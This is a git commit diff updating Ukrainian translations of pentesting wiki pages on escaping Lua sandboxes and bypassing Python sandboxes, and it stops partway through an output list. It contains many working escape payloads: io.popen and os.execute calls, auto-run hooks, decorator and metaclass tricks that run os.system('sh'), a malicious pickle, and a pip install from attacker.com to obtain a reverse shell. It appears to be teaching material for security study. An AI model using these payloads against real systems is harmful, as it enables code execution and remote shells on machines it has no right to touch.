Translated ['src/windows-hardening/windows-local-privilege-escalation/pr

This commit is contained in:
Translator 2025-09-03 11:35:22 +00:00
parent c0fbd3274b
commit af452cea88
9 changed files with 346 additions and 1844 deletions

View File

@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
На цій сторінці зібрані практичні техніки для переліку та виходу з Lua "sandboxes", вбудованих у застосунки (зокрема game clients, plugins або in-app scripting engines). Багато рушіїв відкривають обмежене Lua-середовище, але залишають доступними потужні глобальні змінні, що дозволяє виконувати довільні команди або навіть спричиняти корупцію нативної пам'яті, якщо відкриті bytecode loaders.
Ця сторінка збирає практичні прийоми для переліку та виходу з Lua "sandboxes", вбудованих в додатки (зокрема game clients, plugins або in-app scripting engines). Багато рушіїв надають обмежене середовище Lua, але залишають доступними потужні globals, які дозволяють виконувати довільні команди або навіть спричиняти корупцію нативної пам'яті, коли доступні bytecode loaders.
Ключові ідеї:
- Розглядайте VM як невідоме середовище: перелікуйте _G і виявляйте, які небезпечні примітиви доступні.
- Коли stdout/print заблоковані, використовуйте будь-який in-VM UI/IPC канал як вихідний приймач, щоб побачити результати.
- Розглядайте VM як невідоме середовище: перелічуйте _G і знаходьте, які небезпечні примітиви доступні.
- Якщо stdout/print заблоковано, використовуйте будь-який in-VM UI/IPC канал як вихідний sink, щоб спостерігати результати.
- Якщо io/os доступні, часто є пряме виконання команд (io.popen, os.execute).
- Якщо load/loadstring/loadfile доступні, виконання спеціально створеного Lua bytecode може порушити безпеку пам'яті в деяких версіях (≤5.1 верифікатори можна обійти; у 5.2 верифікатор видалено), що дає змогу просунутій експлуатації.
- Якщо load/loadstring/loadfile доступні, виконання створеного Lua bytecode може підірвати безпеку пам'яті в деяких версіях (верифайери ≤5.1 можна обійти; у 5.2 верифайер видалено), що відкриває можливості для просунутої експлуатації.
## Перелікування середовища в пісковищі
## Enumerate the sandboxed environment
- Злити глобальне середовище, щоб перелічити доступні таблиці/функції:
- Здампте глобальне середовище, щоб інвентаризувати доступні таблиці/функції:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
end
end
```
- Якщо print() недоступна, перепрофілюйте in-VM channels. Приклад з MMO housing script VM, де вивід у чат працює лише після виклику звуку; наступний код будує надійну функцію виводу:
- Якщо print() недоступний, перепрофілюйте in-VM канали. Приклад з MMO housing script VM, де вивід у чат працює лише після виклику звуку; наведене нижче створює надійну функцію виводу:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
@ -39,11 +39,11 @@ local out = ButlerOut(1)
dump_globals(out)
end
```
Узагальніть цей шаблон для вашої цілі: будь-яке textbox, toast, logger або UI callback, що приймає strings, може слугувати як stdout для розвідки.
Узагальніть цей патерн для вашої цілі: будь-яке текстове поле, toast, logger або UI callback, яке приймає рядки, може слугувати stdout для розвідки.
## Пряме виконання команд, якщо io/os доступні
Якщо sandbox все ще надає доступ до стандартних бібліотек io або os, ймовірно, у вас є immediate command execution:
Якщо пісочниця досі надає доступ до стандартних бібліотек io або os, ймовірно, у вас є негайне виконання команд:
```lua
-- Windows example
io.popen("calc.exe")
@ -52,29 +52,30 @@ io.popen("calc.exe")
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
- Виконання відбувається всередині client process; багато anti-cheat/antidebug шарів, які блокують external debuggers, не завадять in-VM process creation.
- Також перевіряйте: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), і debug library (може підвищувати привілеї всередині VM).
Notes:
- Виконання відбувається в межах client process; багато шарів anti-cheat/antidebug, що блокують external debuggers, не завадять in-VM process creation.
- Також перевірте: package.loadlib (довільне завантаження DLL/.so), require з native modules, LuaJIT's ffi (якщо присутній), та debug library (може підвищувати привілеї всередині VM).
## Zero-click тригери через auto-run callbacks
## Zero-click triggers via auto-run callbacks
Якщо host application пушить скрипти клієнтам і VM надає auto-run hooks (наприклад, OnInit/OnLoad/OnEnter), розмістіть ваш payload там для drive-by compromise одразу після завантаження скрипта:
Якщо host application штовхає скрипти на clients і VM надає auto-run hooks (e.g., OnInit/OnLoad/OnEnter), розмістіть свій payload там для drive-by compromise одразу після завантаження скрипта:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
Будь-який еквівалентний callback (OnLoad, OnEnter тощо) узагальнює цю техніку, коли скрипти передаються й автоматично виконуються на клієнті.
## Небезпечні примітиви, які варто шукати під час recon
## Небезпечні примітиви для пошуку під час recon
Під час перебору _G особливо звертайте увагу на:
- io, os: io.popen, os.execute, file I/O, доступ до змінних оточення.
- load, loadstring, loadfile, dofile: виконують source або bytecode; підтримують завантаження ненадійного bytecode.
- package, package.loadlib, require: динамічне завантаження бібліотек і поверхня модулів.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo та хуки.
Під час перебору _G звертайте особливу увагу на:
- io, os: io.popen, os.execute, file I/O, env access.
- load, loadstring, loadfile, dofile: виконують вихідний код або байткод; підтримують завантаження ненадійного байткоду.
- package, package.loadlib, require: динамічне завантаження бібліотек та API модуля.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, та hooks.
- LuaJIT-only: ffi.cdef, ffi.load для прямого виклику нативного коду.
Мінімальні приклади використання (якщо доступні):
Мінімальні приклади використання (якщо досяжні):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
@ -89,22 +90,22 @@ print(g())
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Необов'язкова ескалація: зловживання Lua bytecode loaders
## Опціональна ескалація: зловживання Lua bytecode loaders
Коли load/loadstring/loadfile доступні, але io/os обмежені, виконання сконструйованого Lua bytecode може призвести до memory disclosure та corruption primitives. Ключові факти:
- Lua ≤ 5.1 постачався з bytecode verifier, який має відомі bypasses.
- Lua ≤ 5.1 постачався з bytecode verifier, для якого відомі обходи.
- Lua 5.2 повністю видалив verifier (офіційна позиція: applications should just reject precompiled chunks), що розширює attack surface, якщо bytecode loading не заборонено.
- Типовий робочий процес: leak pointers через in-VM output, craft bytecode для створення type confusions (наприклад навколо FORLOOP або інших opcodes), а потім перейти до arbitrary read/write або native code execution.
- Типові workflow: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), потім pivot до arbitrary read/write або native code execution.
Цей шлях специфічний для engine/version і вимагає RE. Див. розділ Посилання для глибших розборів, exploitation primitives та прикладів gadgetry в іграх.
Цей шлях залежить від engine/version і вимагає RE. Див. References для детальних розборів, exploitation primitives та прикладів gadgetry в іграх.
## Примітки щодо виявлення та hardening (для захисників)
## Detection and hardening notes (for defenders)
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
- На стороні сервера: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- На стороні клієнта: запускати Lua з мінімальним _ENV, заборонити bytecode loading, повторно ввести строгий bytecode verifier або перевірку підписів, і блокувати створення процесів з процесу клієнта.
- Телеметрія: оповіщення при gameclient → child process creation незабаром після завантаження скрипту; корелювати з UI/chat/script events.
## Посилання
## References
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)

View File

@ -1,13 +1,13 @@
# Bypass Python sandboxes
# Обхід Python sandboxes
{{#include ../../../banners/hacktricks-training.md}}
Нижче наведено кілька прийомів для обходу захисту Python sandbox та виконання довільних команд.
Нижче наведені деякі прийоми для обходу захисту Python sandboxes та виконання довільних команд.
## Бібліотеки для виконання команд
Перше, що потрібно з'ясувати — чи можна безпосередньо виконувати код за допомогою вже імпортованої бібліотеки, або чи можна імпортувати будь-яку з цих бібліотек:
Перше, що потрібно з'ясувати — чи можна безпосередньо виконати код за допомогою вже імпортованої бібліотеки, або чи можна імпортувати будь-яку з цих бібліотек:
```python
os.system("ls")
os.popen("ls").read()
@ -40,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Пам'ятайте, що функції _**open**_ та _**read**_ можуть бути корисними для **читання файлів** всередині python sandbox та для **запису коду**, який ви могли б **виконати**, щоб **bypass** the sandbox.
Пам'ятайте, що функції _**open**_ і _**read**_ можуть бути корисними для **read files** всередині python sandbox та для **write some code**, який ви могли б **execute** щоб **bypass** sandbox.
> [!CAUTION] > **Python2 input()** function дозволяє виконувати python code перед тим, як програма аварійно завершиться.
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
Python намагається **спочатку завантажувати бібліотеки з поточної директорії** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'`
Python намагається **load libraries from the current directory first** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass pickle sandbox з використанням встановлених за замовчуванням python packages
## Bypass pickle sandbox with the default installed python packages
### Пакети за замовчуванням
### Default packages
Ви можете знайти **список попередньо встановлених** пакетів тут: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Зверніть увагу, що з pickle ви можете змусити python env **import arbitrary libraries**, встановлені в системі.\
Наприклад, наступний pickle, при завантаженні, імпортує бібліотеку pip для її використання:
Ви можете знайти **list of pre-installed** packages тут: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Зауважте, що з pickle ви можете змусити python env **import arbitrary libraries**, встановлені в системі.\
Наприклад, наступний pickle при завантаженні імпортує бібліотеку pip для використання:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -69,28 +69,28 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Для отримання додаткової інформації про те, як працює pickle, перегляньте це: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip package
### Pip пакет
Хитрість, надана **@isHaacK**
Трюк, наданий **@isHaacK**
Якщо у вас є доступ до `pip` або `pip.main()`, ви можете встановити довільний пакет і отримати reverse shell, викликавши:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Ви можете завантажити пакет для створення reverse shell тут. Зверніть увагу, що перед використанням ви повинні **розпакувати його, змінити `setup.py` та вказати вашу IP для reverse shell**:
Ви можете завантажити пакет для створення reverse shell тут. Зверніть увагу, що перед використанням ви повинні **розпакувати його, змінити `setup.py`, та вказати вашу IP для reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Цей пакет називається `Reverse`. Проте він був спеціально зроблений так, що коли ви вийдете з reverse shell, решта інсталяції завершиться з помилкою, тож ви **не залишите жодного додаткового python package встановленим на сервері** коли підете.
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
## Eval-ing python code
> [!WARNING]
> Зверніть увагу, що exec дозволяє багаторядкові рядки і ";", але eval — ні (перевірте walrus operator)
> Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
Якщо певні символи заборонені, ви можете використовувати **hex/octal/B64** представлення, щоб **bypass** обмеження:
```python
@ -127,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
Див. також реальний sandboxed evaluator escape у PDF-генераторах:
Також див. реальний випадок sandboxed evaluator escape у генераторах PDF:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Він зловживає rl_safe_eval, щоб дістатися до function.__globals__ та os.system через оцінювані атрибути (наприклад, колір шрифту) і повертає валідне значення, щоб рендеринг залишався стабільним.
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Воно зловживає rl_safe_eval, щоб отримати доступ до function.__globals__ і os.system через обчислювані атрибути (наприклад, колір шрифту) і повертає валідне значення, щоб зберегти стабільність рендерингу.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## Оператори та короткі трюки
## Оператори та короткі хитрощі
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -146,7 +146,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
```
## Обхід захистів через кодування (UTF-7)
У [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python-коду всередині, здавалося б, sandbox:
У [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python коду всередині, здавалося б, sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -157,13 +157,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Також можливо обійти це, використовуючи інші кодування, наприклад `raw_unicode_escape` та `unicode_escape`.
Також можливо обійти його, використовуючи інші кодування, наприклад `raw_unicode_escape` та `unicode_escape`.
## Виконання Python без викликів
Якщо ви перебуваєте в python-пісочниці, яка **не дозволяє вам робити виклики**, все ще існують способи **виконувати довільні функції, код** та **команди**.
Якщо ви перебуваєте в python jail, який **не дозволяє вам виконувати виклики**, все ще існують способи **виконати довільні функції, код** та **команди**.
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
### RCE за допомогою [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -185,13 +185,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE creating objects and overloading
### RCE створення об'єктів і перевантаження
Якщо ви можете **declare a class** та **create an object** цього класу, ви можете **write/overwrite different methods**, які можуть бути **triggered** **без** необхідності викликати їх безпосередньо.
Якщо ви можете **declare a class** і **create an object** цього class, ви можете **write/overwrite different methods**, які можуть бути **triggered** **without** **needing to call them directly**.
#### RCE with custom classes
#### RCE з custom classes
Ви можете змінити деякі **class methods** (_by overwriting existing class methods or creating a new class_) так, щоб вони **execute arbitrary code** при **triggered**, без їхнього прямого виклику.
Ви можете модифікувати деякі **class methods** (_by overwriting existing class methods or creating a new class_) щоб змусити їх **execute arbitrary code** коли вони **triggered** без їх прямого виклику.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -243,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Створення об'єктів за допомогою [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Ключова річ, яку дозволяють метакласи, — це **створити екземпляр класу, не викликаючи конструктор** безпосередньо, шляхом створення нового класу, де цільовий клас виступає метакласом.
Основне, що дозволяють metaclasses, — це **створити instance class без прямого виклику constructor**, шляхом створення нового class, у якого target class виступає як metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -258,9 +258,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Створення об'єктів за допомогою винятків
#### Створення об'єктів за допомогою виключень
Коли **виникає виняток**, об'єкт **Exception** **створюється** без необхідності викликати конструктор безпосередньо (трюк від [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Коли **виключення спрацьовує**, об'єкт класу **Exception** **створюється** без необхідності явно викликати конструктор (трюк від [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -302,7 +302,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Прочитати файл за допомогою builtins help & license
### Прочитати файл із довідкою builtins та ліцензією
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -316,17 +316,18 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Якщо ви маєте доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зверніть увагу, що тут ви також можете використати інші рядкові представлення, показані в останньому розділі):
Якщо ви маєте доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зауважте, що тут також можна використати інші строкові представлення, показані в останньому розділі):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Без `__builtins__`
### No Builtins
Якщо у вас немає `__builtins__`, ви не зможете імпортувати нічого і навіть читати або записувати файли, оскільки **всі глобальні функції** (наприклад, `open`, `import`, `print`...) **не завантажені**.\
Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися нешкідливими, але деякі з них **також імпортують небезпечні** функції всередині себе, до яких можна отримати доступ, щоб отримати навіть **arbitrary code execution**.
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, а також навіть читати чи записувати файли, оскільки **всі глобальні функції** (наприклад, `open`, `import`, `print`...) **не завантажені**.\
У наступних прикладах ви можете побачити, як **зловживати** деякими з цих "**нешкідливих**" модулів, завантажених щоб **отримати доступ** до **небезпечних** **функціональних можливостей** всередині них.
Однак, **за замовчуванням python імпортує багато модулів у пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також містять небезпечні** функціональності всередині себе, до яких можна отримати доступ і навіть досягти **arbitrary code execution**.
У наведених прикладах ви можете побачити, як **зловживати** деякими з цих "**безпечних**" завантажених модулів, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них.
**Python2**
```python
@ -368,7 +369,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де можна знайти **builtins**.
[**Нижче є більша функція**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де ви можете знайти **builtins**.
#### Python2 and Python3
```python
@ -410,15 +411,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де можна знайти **globals**.
[**Нижче є більша функція**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де ви можете знайти **globals**.
## Discover Arbitrary Execution
## Виявлення довільного виконання
Тут я хочу пояснити, як легко виявляти **більш небезпечні завантажені функціональності** і запропонувати більш надійні exploits.
Тут я хочу пояснити, як легко виявити **більш небезпечні функціональності, що завантажені** та запропонувати більш надійні exploits.
#### Accessing subclasses with bypasses
#### Доступ до subclasses з bypasses
Одна з найчутливіших частин цієї техніки — можливість **access the base subclasses**. У попередніх прикладах це було зроблено за допомогою `''.__class__.__base__.__subclasses__()`, але існують **інші можливі способи**:
Одна з найчутливіших частин цієї техніки — можливість **access the base subclasses**. У попередніх прикладах це робилося за допомогою `''.__class__.__base__.__subclasses__()` але існують **інші можливі способи**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -446,18 +447,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Пошук завантажених небезпечних бібліотек
### Знаходження небезпечних бібліотек, які завантажені
Наприклад, знаючи, що з бібліотекою **`sys`** можна **імпортувати довільні бібліотеки**, ви можете шукати всі **завантажені модулі, які всередині себе імпортували sys**:
Наприклад, знаючи, що за допомогою бібліотеки **`sys`** можна **import arbitrary libraries**, ви можете шукати всі **modules loaded that have imported sys inside of them**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Їх багато, і **нам потрібен лише один**, щоб виконувати команди:
Їх багато, і **нам потрібен лише один**, щоб виконати команди:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Ми можемо зробити те саме з **іншими бібліотеками**, про які ми знаємо, що їх можна використовувати для **виконання команд**:
Ми можемо зробити те саме з **іншими бібліотеками**, які, як відомо, можуть використовуватися для **виконання команд**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -492,7 +493,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Більше того, ми навіть могли б знайти, які модулі завантажують шкідливі бібліотеки:
Крім того, ми навіть можемо знайти, які модулі завантажують шкідливі бібліотеки:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -511,7 +512,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Крім того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек:
Крім того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **відфільтрувати за назвами функцій** всередині можливих бібліотек:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -544,10 +545,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, 